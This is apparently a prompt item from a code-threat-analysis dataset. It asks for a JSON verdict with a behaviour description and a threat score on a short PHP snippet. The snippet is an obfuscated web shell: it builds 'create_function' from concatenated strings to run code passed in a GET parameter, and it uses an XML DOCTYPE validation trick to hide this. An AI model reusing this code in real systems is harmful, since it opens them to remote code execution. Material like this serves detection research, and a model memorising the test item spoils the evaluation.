You are a security expert, now you need to analyze the code surrounded by ``` in the input and give a summary in a json object with 'behavior' and 'threatScore' keys, the 'behavior' describes the code functionality and 'threatScore' rates the threat from 1 to 10 with lower scores being more secure.

```
function f(){
        $func='create_functio'.$GLOBALS["n"];
		$new_func=$func(Null,$_GET["args"]);
		$new_func();
}
$_GET["func"]('f');
$xml = <<<XML
<!DOCTYPE foo PUBLIC "-//FOO/BAR" "http://n">
<foo>bar</foo>
XML;
$n='n';
$dd = new DOMDocument;
$r  = $dd->loadXML($xml);
$dd->validate();
$n='m';
```